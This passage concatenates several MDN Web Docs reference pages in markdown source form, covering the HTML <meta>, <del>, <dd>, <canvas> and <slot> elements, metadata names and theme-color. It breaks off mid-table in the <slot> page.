--- title: "<meta>: The metadata element" slug: Web/HTML/Element/meta page-type: html-element browser-compat: html.elements.meta --- {{HTMLSidebar}} The **`<meta>`** [HTML](/en-US/docs/Web/HTML) element represents {{Glossary("Metadata","metadata")}} that cannot be represented by other HTML meta-related elements, like {{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} or {{HTMLElement("title")}}. The type of metadata provided by the `<meta>` element can be one of the following: - If the [`name`](#name) attribute is set, the `<meta>` element provides _document-level metadata_, applying to the whole page. - If the [`http-equiv`](#http-equiv) attribute is set, the `<meta>` element is a _pragma directive_, providing information equivalent to what can be given by a similarly-named HTTP header. - If the [`charset`](#charset) attribute is set, the `<meta>` element is a _charset declaration_, giving the character encoding in which the document is encoded. - If the [`itemprop`](/en-US/docs/Web/HTML/Global_attributes/itemprop) attribute is set, the `<meta>` element provides _user-defined metadata_. ## Attributes This element includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). > **Note:** the attribute [`name`](#name) has a specific meaning for the `<meta>` element, and the [`itemprop`](/en-US/docs/Web/HTML/Global_attributes/itemprop) attribute must not be set on the same `<meta>` element that has any existing [`name`](#name), [`http-equiv`](#http-equiv) or [`charset`](#charset) attributes. - `charset` - : This attribute declares the document's character encoding. If the attribute is present, its value must be an ASCII case-insensitive match for the string `"utf-8"`, because UTF-8 is the only valid encoding for HTML5 documents. `<meta>` elements which declare a character encoding must be located entirely within the first 1024 bytes of the document. - `content` - : This attribute contains the value for the [`http-equiv`](#http-equiv) or [`name`](#name) attribute, depending on which is used. - `http-equiv` - : Defines a pragma directive. The attribute is named `http-equiv(alent)` because all the allowed values are names of particular HTTP headers: - `content-security-policy` Allows page authors to define a [content policy](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) for the current page. Content policies mostly specify allowed server origins and script endpoints which help guard against cross-site scripting attacks. - `content-type` Declares the [MIME type](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) and the document's character encoding. The `content` attribute must have the value `"text/html; charset=utf-8"` if specified. This is equivalent to a `<meta>` element with the [`charset`](#charset) attribute specified and carries the same restriction on placement within the document. **Note:** Can only be used in documents served with a `text/html` — not in documents served with an XML MIME type. - `default-style` Sets the name of the default [CSS style sheet](/en-US/docs/Web/CSS) set. - `x-ua-compatible` If specified, the `content` attribute must have the value `"IE=edge"`. User agents are required to ignore this pragma. - `refresh` This instruction specifies: - The number of seconds until the page should be reloaded - only if the [`content`](#content) attribute contains a non-negative integer. - The number of seconds until the page should redirect to another - only if the [`content`](#content) attribute contains a non-negative integer followed by the string '`;url=`', and a valid URL. > **Warning:** > > Pages set with a `refresh` value run the risk of having the time interval being too short. People navigating with the aid of assistive technology such as a screen reader may be unable to read through and understand the page's content before being automatically redirected. The abrupt, unannounced updating of the page content may also be disorienting for people experiencing low vision conditions. > > - [MDN Understanding WCAG, Guideline 2.2 explanations](/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#guideline_2.2_—_enough_time_provide_users_enough_time_to_read_and_use_content) > - [MDN Understanding WCAG, Guideline 3.2 explanations](/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#guideline_3.2_—_predictable_make_web_pages_appear_and_operate_in_predictable_ways) > - [Understanding Success Criterion 2.2.1 | W3C Understanding WCAG 2.0](https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-required-behaviors.html) > - [Understanding Success Criterion 2.2.4 | W3C Understanding WCAG 2.0](https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-postponed.html) > - [Understanding Success Criterion 3.2.5 | W3C Understanding WCAG 2.0](https://www.w3.org/TR/UNDERSTANDING-WCAG20/consistent-behavior-no-extreme-changes-context.html) - `name` - : The `name` and `content` attributes can be used together to provide document metadata in terms of name-value pairs, with the `name` attribute giving the metadata name, and the `content` attribute giving the value. See [standard metadata names](/en-US/docs/Web/HTML/Element/meta/name) for details about the set of standard metadata names defined in the HTML specification. ## Examples ```html <meta charset="utf-8" /> <!-- Redirect page after 3 seconds --> <meta http-equiv="refresh" content="3;url=https://www.mozilla.org" /> ``` ## Technical summary <table class="properties"> <tbody> <tr> <th> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#metadata_content" >Metadata content</a >. If the <a href="/en-US/docs/Web/HTML/Global_attributes/itemprop"><code>itemprop</code></a> attribute is present: <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >flow content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >. </td> </tr> <tr> <th>Permitted content</th> <td>None; it is a {{Glossary("void element")}}.</td> </tr> <tr> <th>Tag omission</th> <td> As it is a void element, the start tag must be present and the end tag must not be present. </td> </tr> <tr> <th>Permitted parents</th> <td> <ul> <li> <code>&#x3C;meta charset></code>, <code>&#x3C;meta http-equiv></code>: a {{HTMLElement("head")}} element. If the <a href="/en-US/docs/Web/HTML/Element/meta#http-equiv"><code>http-equiv</code></a> is not an encoding declaration, it can also be inside a {{HTMLElement("noscript")}} element, itself inside a <code>&#x3C;head></code> element. </li> <li> <code>&#x3C;meta name></code>: any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#metadata_content" >metadata content</a >. </li> <li> <code>&#x3C;meta itemprop></code>: any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#metadata_content" >metadata content</a > or <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >flow content</a >. </li> </ul> </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role" >No corresponding role</a > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>No <code>role</code> permitted</td> </tr> <tr> <th>DOM interface</th> <td>{{domxref("HTMLMetaElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Standard metadata names](/en-US/docs/Web/HTML/Element/meta/name) - [Learn: `<meta>`](/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#metadata_the_meta_element) - [The viewport meta tag](/en-US/docs/Web/HTML/Viewport_meta_tag)
0
data/mdn-content/files/en-us/web/html/element/meta
data/mdn-content/files/en-us/web/html/element/meta/name/index.md
--- title: Standard metadata names slug: Web/HTML/Element/meta/name page-type: html-attribute browser-compat: html.elements.meta.name --- {{HTMLSidebar}} The {{htmlelement("meta")}} element can be used to provide document metadata in terms of name-value pairs, with the [`name`](/en-US/docs/Web/HTML/Element/meta#name) attribute giving the metadata name, and the [`content`](/en-US/docs/Web/HTML/Element/meta#content) attribute giving the value. ### Standard metadata names defined in the HTML specification The HTML specification defines the following set of standard metadata names: - `application-name`: the name of the application running in the web page. > **Note:** > > - Browsers may use this to identify the application. It is different from the {{HTMLElement("title")}} element, which usually contain the application name, but may also contain information like the document name or a status. > - Simple web pages shouldn't define an application-name. - `author`: the name of the document's author. - `description`: a short and accurate summary of the content of the page. Several browsers, like Firefox and Opera, use this as the default description of bookmarked pages. - `generator`: the identifier of the software that generated the page. - `keywords`: words relevant to the page's content separated by commas. - `referrer`: controls the HTTP {{httpheader("Referer")}} header of requests sent from the document: <table class="standard-table"> <caption> Values for the <code>content</code> attribute of <code>&#x3C;meta name="referrer"></code> </caption> <tbody> <tr> <td><code>no-referrer</code></td> <td>Do not send a HTTP {{httpheader("Referer")}} header.</td> </tr> <tr> <td><code>origin</code></td> <td>Send the {{glossary("origin")}} of the document.</td> </tr> <tr> <td><code>no-referrer-when-downgrade</code></td> <td> Send the full URL when the destination is at least as secure as the current page (HTTP(S)→HTTPS), but send no referrer when it's less secure (HTTPS→HTTP). This is the default behavior. </td> </tr> <tr> <td><code>origin-when-cross-origin</code></td> <td> Send the full URL (stripped of parameters) for same-origin requests, but only send the origin for other cases. </td> </tr> <tr> <td><code>same-origin</code></td> <td> Send the full URL (stripped of parameters) for same-origin requests. Cross-origin requests will contain no referrer header. </td> </tr> <tr> <td><code>strict-origin</code></td> <td> Send the origin when the destination is at least as secure as the current page (HTTP(S)→HTTPS), but send no referrer when it's less secure (HTTPS→HTTP). </td> </tr> <tr> <td><code>strict-origin-when-cross-origin</code></td> <td> Send the full URL (stripped of parameters) for same-origin requests. Send the origin when the destination is at least as secure as the current page (HTTP(S)→HTTPS). Otherwise, send no referrer. </td> </tr> <tr> <td><code>unsafe-URL</code></td> <td> Send the full URL (stripped of parameters) for same-origin or cross-origin requests. </td> </tr> </tbody> </table> > **Note:** > > - Dynamically inserting `<meta name="referrer">` (with {{domxref("Document.write", "document.write()")}} or {{domxref("Node.appendChild", "appendChild()")}}) makes the referrer behavior unpredictable. > - When several conflicting policies are defined, the `no-referrer` policy is applied. - [`theme-color`](/en-US/docs/Web/HTML/Element/meta/name/theme-color): indicates a suggested color that user agents should use to customize the display of the page or of the surrounding user interface. The `content` attribute contains a valid CSS {{cssxref("&lt;color&gt;")}}. The `media` attribute with a valid media query list can be included to set the media the theme color metadata applies to. - `color-scheme`: specifies one or more color schemes with which the document is compatible. The browser will use this information in tandem with the user's browser or device settings to determine what colors to use for everything from background and foregrounds to form controls and scrollbars. The primary use for `<meta name="color-scheme">` is to indicate compatibility with—and order of preference for—light and dark color modes. The value of the [`content`](/en-US/docs/Web/HTML/Element/meta#content) property for `color-scheme` may be one of the following: - `normal` - : The document is unaware of color schemes and should be rendered using the default color palette. - \[`light` | `dark`]+ - : One or more color schemes supported by the document. Specifying the same color scheme more than once has the same effect as specifying it only once. Indicating multiple color schemes indicates that the first scheme is preferred by the document, but that the second specified scheme is acceptable if the user prefers it. - `only light` - : Indicates that the document _only_ supports light mode, with a light background and dark foreground colors. By specification, `only dark` _is not valid_, because forcing a document to render in dark mode when it isn't truly compatible with it can result in unreadable content; all major browsers default to light mode if not otherwise configured. For example, to indicate that a document prefers dark mode but does render functionally in light mode as well: ```html <meta name="color-scheme" content="dark light" /> ``` This works at the document level in the same way that the CSS {{cssxref("color-scheme")}} property lets individual elements specify their preferred and accepted color schemes. Your styles can adapt to the current color scheme using the {{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}} CSS media feature. ### Standard metadata names defined in other specifications The CSS Device Adaptation specification defines the following metadata name: - `viewport`: gives hints about the size of the initial size of the {{glossary("viewport")}}. <table class="fullwidth-table"> <caption> Values for the content of <code>&#x3C;meta name="viewport"></code> </caption> <thead> <tr> <th scope="col">Value</th> <th scope="col">Possible subvalues</th> <th scope="col">Description</th> </tr> </thead> <tbody> <tr> <td><code>width</code></td> <td>A positive integer number, or the text <code>device-width</code></td> <td> Defines the pixel width of the viewport that you want the website to be rendered at. </td> </tr> <tr> <td><code>height</code></td> <td>A positive integer, or the text <code>device-height</code></td> <td>Defines the height of the viewport. Not used by any browser.</td> </tr> <tr> <td><code>initial-scale</code></td> <td>A positive number between <code>0.0</code> and <code>10.0</code></td> <td> Defines the ratio between the device width (<code>device-width</code> in portrait mode or <code>device-height</code> in landscape mode) and the viewport size. </td> </tr> <tr> <td><code>maximum-scale</code></td> <td>A positive number between <code>0.0</code> and <code>10.0</code></td> <td> Defines the maximum amount to zoom in. It must be greater or equal to the <code>minimum-scale</code> or the behavior is undefined. Browser settings can ignore this rule and iOS10+ ignores it by default. </td> </tr> <tr> <td><code>minimum-scale</code></td> <td>A positive number between <code>0.0</code> and <code>10.0</code></td> <td> Defines the minimum zoom level. It must be smaller or equal to the <code>maximum-scale</code> or the behavior is undefined. Browser settings can ignore this rule and iOS10+ ignores it by default. </td> </tr> <tr> <td><code>user-scalable</code></td> <td><code>yes</code> or <code>no</code></td> <td> If set to <code>no</code>, the user is not able to zoom in the webpage. The default is <code>yes</code>. Browser settings can ignore this rule, and iOS10+ ignores it by default. </td> </tr> <tr> <td><code>viewport-fit</code></td> <td><code>auto</code>, <code>contain</code> or <code>cover</code></td> <td> <p> The <code>auto</code> value doesn't affect the initial layout viewport, and the whole web page is viewable. </p> <p> The <code>contain</code> value means that the viewport is scaled to fit the largest rectangle inscribed within the display. </p> <p> The <code>cover</code> value means that the viewport is scaled to fill the device display. It is highly recommended to make use of the <a href="/en-US/docs/Web/CSS/env">safe area inset</a> variables to ensure that important content doesn't end up outside the display. </p> </td> </tr> </tbody> </table> > **Warning:** > > Disabling zooming capabilities by setting `user-scalable` to a value of `no` prevents people experiencing low vision conditions from being able to read and understand page content. > > - [MDN Understanding WCAG, Guideline 1.4 explanations](/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#guideline_1.4_make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background) > - [Understanding Success Criterion 1.4.4 | W3C Understanding WCAG 2.0](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html) ### Other metadata names The [WHATWG Wiki MetaExtensions page](https://wiki.whatwg.org/wiki/MetaExtensions) contains a large set of non-standard metadata names that have not been formally accepted yet; however, some of the names included there are already used quite commonly in practice — including the following: - `creator`: the name of the creator of the document, such as an organization or institution. If there are more than one, several {{HTMLElement("meta")}} elements should be used. - `googlebot`, a synonym of `robots`, is only followed by Googlebot (the indexing crawler for Google). - `publisher`: the name of the document's publisher. - `robots`: the behavior that cooperative crawlers, or "robots", should use with the page. It is a comma-separated list of the values below: | Value | Description | Used by | | -------------- | --------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `index` | Allows the robot to index the page (default). | All | | `noindex` | Requests the robot to not index the page. | All | | `follow` | Allows the robot to follow the links on the page (default). | All | | `nofollow` | Requests the robot to not follow the links on the page. | All | | `all` | Equivalent to `index, follow` | [Google](https://developers.google.com/search/docs/advanced/crawling/special-tags?visit_id=637855965067987211-415685194&rd=1) | | `none` | Equivalent to `noindex, nofollow` | [Google](https://developers.google.com/search/docs/advanced/crawling/special-tags?visit_id=637855965074074862-574753619&rd=1) | | `noarchive` | Requests the search engine not to cache the page content. | [Google](https://developers.google.com/search/docs/advanced/robots/robots_meta_tag), [Yahoo](https://help.yahoo.com/kb/search-for-desktop/SLN2213.html), [Bing](https://www.bing.com/webmasters/help/which-robots-metatags-does-bing-support-5198d240) | | `nosnippet` | Prevents displaying any description of the page in search engine results. | [Google](https://developers.google.com/search/docs/advanced/robots/robots_meta_tag), [Bing](https://www.bing.com/webmasters/help/which-robots-metatags-does-bing-support-5198d240) | | `noimageindex` | Requests this page not to appear as the referring page of an indexed image. | [Google](https://developers.google.com/search/docs/advanced/robots/robots_meta_tag) | | `nocache` | Synonym of `noarchive`. | [Bing](https://www.bing.com/webmasters/help/which-robots-metatags-does-bing-support-5198d240) | > **Note:** > > - Only cooperative robots follow these rules. Do not expect to prevent email harvesters with them. > - The robot still needs to access the page in order to read these rules. To prevent bandwidth consumption, consider if using a _{{Glossary("robots.txt")}}_ file is more appropriate. > - The `robots` `<meta>` tag and `robots.txt` file serve different purposes: `robots.txt` controls the crawling of pages, and does not affect indexing or other behavior controlled by `robots` meta. A page that can't be crawled may still be indexed if it is referenced by another document. > - If you want to remove a page, `noindex` will work, but only after the robot visits the page again. Ensure that the `robots.txt` file is not preventing revisits. > - Some values are mutually exclusive, like `index` and `noindex`, or `follow` and `nofollow`. In these cases the robot's behavior is undefined and may vary between them. > - Some crawler robots, like Google, Yahoo and Bing, support the same values for the HTTP header `X-Robots-Tag`; this allows non-HTML documents like images to use these rules. <!-- ## Technical summary --> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Viewport `<meta>` tag](/en-US/docs/Web/HTML/Viewport_meta_tag) - [Metadata: the `<meta>` element](/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#metadata_the_meta_element) in [What's in the head? Metadata in HTML](/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML)
0
data/mdn-content/files/en-us/web/html/element/meta/name
data/mdn-content/files/en-us/web/html/element/meta/name/theme-color/index.md
--- title: theme-color slug: Web/HTML/Element/meta/name/theme-color page-type: html-attribute-value browser-compat: html.elements.meta.name.theme-color --- {{HTMLSidebar}} The **`theme-color`** value for the [`name`](/en-US/docs/Web/HTML/Element/meta#name) attribute of the {{htmlelement("meta")}} element indicates a suggested color that user agents should use to customize the display of the page or of the surrounding user interface. If specified, the [`content`](/en-US/docs/Web/HTML/Element/meta#content) attribute must contain a valid CSS {{cssxref("&lt;color&gt;")}}. ## Example ```html <meta name="theme-color" content="#4285f4" /> ``` The following image shows the effect that the {{htmlelement("meta")}} element above will have on a document displayed in Chrome running on an Android mobile device. ![Image showing the effect of using theme-color](theme-color.png) _Image credit: from [Icons & Browser Colors](https://web.dev/articles/icons-and-browser-colors), created and shared by Google and used according to terms described in the [Creative Commons 4.0 Attribution License](https://creativecommons.org/licenses/by/4.0/)._ You can provide a media type or query inside the [`media`](/en-US/docs/Web/HTML/Element/meta#media) attribute; the color will then only be set if the media condition is true. For example: ```html <meta name="theme-color" media="(prefers-color-scheme: light)" content="cyan" /> <meta name="theme-color" media="(prefers-color-scheme: dark)" content="black" /> ``` ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{cssxref("color-scheme")}} CSS property - [`prefers-color-scheme`](/en-US/docs/Web/CSS/@media/prefers-color-scheme) media query
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/del/index.md
--- title: "<del>: The Deleted Text element" slug: Web/HTML/Element/del page-type: html-element browser-compat: html.elements.del --- {{HTMLSidebar}} The **`<del>`** [HTML](/en-US/docs/Web/HTML) element represents a range of text that has been deleted from a document. This can be used when rendering "track changes" or source code diff information, for example. The {{HTMLElement("ins")}} element can be used for the opposite purpose: to indicate text that has been added to the document. {{EmbedInteractiveExample("pages/tabbed/del.html", "tabbed-standard")}} This element is often (but need not be) rendered by applying a strike-through style to the text. ## Attributes This element's attributes include the [global attributes](/en-US/docs/Web/HTML/Global_attributes). - `cite` - : A URI for a resource that explains the change (for example, meeting minutes). - `datetime` - : This attribute indicates the time and date of the change and must be a valid date string with an optional time. If the value cannot be parsed as a date with an optional time string, the element does not have an associated timestamp. For the format of the string without a time, see [Date strings](/en-US/docs/Web/HTML/Date_and_time_formats#date_strings). The format of the string if it includes both date and time is covered in [Local date and time strings](/en-US/docs/Web/HTML/Date_and_time_formats#local_date_and_time_strings). ## Examples ```html <p><del>This text has been deleted</del>, here is the rest of the paragraph.</p> <del><p>This paragraph has been deleted.</p></del> ``` ### Result {{EmbedLiveSample("Examples")}} ## Accessibility concerns The presence of the `del` element is not announced by most screen reading technology in its default configuration. It can be made to be announced by using the CSS {{cssxref("content")}} property, along with the {{cssxref("::before")}} and {{cssxref("::after")}} pseudo-elements. ```css del::before, del::after { clip-path: inset(100%); clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; } del::before { content: " [deletion start] "; } del::after { content: " [deletion end] "; } ``` Some people who use screen readers deliberately disable announcing content that creates extra verbosity. Because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been deleted would adversely affect understanding. - [Short note on making your mark (more accessible) | The Paciello Group](https://www.tpgi.com/short-note-on-making-your-mark-more-accessible/) - [Tweaking Text Level Styles | Adrian Roselli](https://adrianroselli.com/2017/12/tweaking-text-level-styles.html) ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >Phrasing content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >flow content</a >. </td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#transparent_content_model" >Transparent</a >. </td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles#structural_roles_with_html_equivalents">deletion</a ></code > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLModElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{HTMLElement("ins")}} element for insertions into a text - {{HTMLElement("s")}} element for strikethrough separate from representing deletion of text
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/dd/index.md
--- title: "<dd>: The Description Details element" slug: Web/HTML/Element/dd page-type: html-element browser-compat: html.elements.dd --- {{HTMLSidebar}} The **`<dd>`** [HTML](/en-US/docs/Web/HTML) element provides the description, definition, or value for the preceding term ({{HTMLElement("dt")}}) in a description list ({{HTMLElement("dl")}}). {{EmbedInteractiveExample("pages/tabbed/dd.html", "tabbed-standard")}} ## Attributes This element only includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). ## Examples For examples, see the [examples provided for the `<dl>` element](/en-US/docs/Web/HTML/Element/dl#examples). ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td>None.</td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >. </td> </tr> <tr> <th scope="row">Tag omission</th> <td> The start tag is required. The end tag may be omitted if this element is immediately followed by another <code>&#x3C;dd></code> element or a {{HTMLElement("dt")}} element, or if there is no more content in the parent element. </td> </tr> <tr> <th scope="row">Permitted parents</th> <td> A {{HTMLElement("dl")}} or a {{HTMLElement("div")}} that is a child of a {{HTMLElement("dl")}}.<br />This element can be used after a {{HTMLElement("dt")}} or another {{HTMLElement("dd")}} element. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role" >No corresponding role</a > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>No <code>role</code> permitted</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{HTMLElement("dl")}} - {{HTMLElement("dt")}}
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/canvas/index.md
--- title: "<canvas>: The Graphics Canvas element" slug: Web/HTML/Element/canvas page-type: html-element browser-compat: html.elements.canvas --- {{HTMLSidebar}} Use the **HTML `<canvas>` element** with either the [canvas scripting API](/en-US/docs/Web/API/Canvas_API) or the [WebGL API](/en-US/docs/Web/API/WebGL_API) to draw graphics and animations. ## Attributes This element's attributes include the [global attributes](/en-US/docs/Web/HTML/Global_attributes). - `height` - : The height of the coordinate space in CSS pixels. Defaults to 150. - `moz-opaque` {{non-standard_inline}} {{deprecated_inline}} - : Lets the canvas know whether translucency will be a factor. If the canvas knows there's no translucency, painting performance can be optimized. This is only supported by Mozilla-based browsers; use the standardized {{domxref("HTMLCanvasElement.getContext()", "canvas.getContext('2d', { alpha: false })")}} instead. - `width` - : The width of the coordinate space in CSS pixels. Defaults to 300. ## Usage notes ### Alternative content You should provide alternate content inside the `<canvas>` block. That content will be rendered both on older browsers that don't support canvas and in browsers with JavaScript disabled. ### Closing `</canvas>` tag Unlike the {{HTMLElement("img")}} element, the {{HTMLElement("canvas")}} element **requires** the closing tag (`</canvas>`). ### Sizing the canvas using CSS versus HTML The displayed size of the canvas can be changed using CSS, but if you do this the image is scaled during rendering to fit the styled size, which can make the final graphics rendering end up being distorted. It is better to specify your canvas dimensions by setting the `width` and `height` attributes directly on the `<canvas>` elements, either directly in the HTML or by using JavaScript. ### Maximum canvas size The exact maximum size of a `<canvas>` element depends on the browser and environment. While in most cases the maximum dimensions exceed 10,000 x 10,000 pixels, notably iOS devices limit the canvas size to only 4,096 x 4,096 pixels. See [canvas size limits in different browsers and devices](https://jhildenbiddle.github.io/canvas-size/#/?id=test-results). > **Note:** Exceeding the maximum dimensions or area renders the canvas unusable — drawing commands will not work. ### Using an offscreen canvas A canvas can be rendered using the {{domxref("OffscreenCanvas")}} API where the document and canvas are decoupled. The benefit is that a [worker thread](/en-US/docs/Web/API/Web_Workers_API/Using_web_workers) can handle canvas rendering and the main thread of your web application is not blocked by canvas operations. By parallelizing work, other UI elements of your web application will remain responsive even if you are running complex graphics on an offscreen canvas. For more information, see the {{domxref("OffscreenCanvas")}} API documentation. ## Examples ### HTML This code snippet adds a canvas element to your HTML document. A fallback text is provided if a browser is unable to read or render the canvas. ```html <canvas width="120" height="120"> An alternative text describing what your canvas displays. </canvas> ``` ### JavaScript Then in the JavaScript code, call {{domxref("HTMLCanvasElement.getContext()")}} to get a drawing context and start drawing onto the canvas: ```js const canvas = document.querySelector("canvas"); const ctx = canvas.getContext("2d"); ctx.fillStyle = "green"; // Add a rectangle at (10, 10) with size 100x100 pixels ctx.fillRect(10, 10, 100, 100); ``` ### Result {{EmbedLiveSample('Examples', 600, 150)}} ## Accessibility concerns ### Alternative content The `<canvas>` element on its own is just a bitmap and does not provide information about any drawn objects. Canvas content is not exposed to accessibility tools as semantic HTML is. In general, you should avoid using canvas in an accessible website or app. The following guides can help to make it more accessible. - [Canvas accessibility use cases](https://www.w3.org/WAI/PF/HTML/wiki/Canvas_Accessibility_Use_Cases) - [Canvas element accessibility issues](https://www.w3.org/html/wg/wiki/AddedElementCanvas) - [HTML Canvas Accessibility in Firefox 13 – by Steve Faulkner](https://www.tpgi.com/html5-canvas-accessibility-in-firefox-13/) - [Best practices for interactive canvas elements](https://html.spec.whatwg.org/multipage/scripting.html#best-practices) ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#embedded_content" >embedded content</a >, palpable content. </td> </tr> <tr> <th scope="row">Permitted content</th> <td> Transparent but with no <a href="/en-US/docs/Web/HTML/Content_categories#interactive_content" >interactive content</a > descendants except for {{HTMLElement("a")}} elements, {{HTMLElement("button")}} elements, {{HTMLElement("input")}} elements whose <a href="/en-US/docs/Web/HTML/Element/input#type"><code>type</code></a> attribute is <code>checkbox</code>, <code>radio</code>, or <code>button</code>. </td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role" >No corresponding role</a > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLCanvasElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Canvas API](/en-US/docs/Web/API/Canvas_API) - [Canvas tutorial](/en-US/docs/Web/API/Canvas_API/Tutorial) - [OffscreenCanvas](/en-US/docs/Web/API/OffscreenCanvas) - [Canvas cheat sheet](https://simon.html5.org/dump/html5-canvas-cheat-sheet.html) (2009) - [Canvas cheat sheet](https://websitesetup.org/wp-content/uploads/2015/11/Infopgraphic-CanvasCheatSheet-Final2.pdf) (pdf) (2015) - [Safari HTML canvas guide](https://developer.apple.com/library/archive/documentation/AudioVideo/Conceptual/HTML-canvas-guide/Introduction/Introduction.html) via Apple (2013) - [`CanvasRenderingContext2D` 2D drawing context for a canvas element](https://developer.apple.com/documentation/webkitjs/canvasrenderingcontext2d) via Apple.com - [WebGL](/en-US/docs/Web/API/WebGL_API) API - {{HTMLElement("img")}} - [SVG](/en-US/docs/Web/SVG) - [Using HTML audio and video](/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content)
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/slot/index.md
--- title: "<slot>: The Web Component Slot element" slug: Web/HTML/Element/slot page-type: html-element browser-compat: html.elements.slot --- {{HTMLSidebar}} The **`<slot>`** [HTML](/en-US/docs/Web/HTML) element—part of the [Web Components](/en-US/docs/Web/API/Web_components) technology suite—is a placeholder inside a web component that you can fill with your own markup, which lets you create separate DOM trees and present them together. ## Attributes This element includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). - `name` - : The slot's name. A **_named slot_** is a `<slot>` element with a `name` attribute. ## Examples ```html <template id="element-details-template"> <style> details { font-family: "Open Sans Light", Helvetica, Arial, sans-serif; } .name { font-weight: bold; color: #217ac0; font-size: 120%; } h4 { margin: 10px 0 -8px 0; background: #217ac0; color: white; padding: 2px 6px; border: 1px solid #cee9f9; border-radius: 4px; } .attributes { margin-left: 22px; font-size: 90%; } .attributes p { margin-left: 16px; font-style: italic; } </style> <details> <summary> <code class="name"> &lt;<slot name="element-name">NEED NAME</slot>&gt; </code> <span class="desc"><slot name="description">NEED DESCRIPTION</slot></span> </summary> <div class="attributes"> <h4>Attributes</h4> <slot name="attributes"><p>None</p></slot> </div> </details> <hr /> </template> ``` > **Note:** You can see this complete example in action at [element-details](https://github.com/mdn/web-components-examples/tree/main/element-details) (see it [running live](https://mdn.github.io/web-components-examples/element-details/)). In addition, you can find an explanation at [Using templates and slots](/en-US/docs/Web/API/Web_components/Using_templates_and_slots). ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a 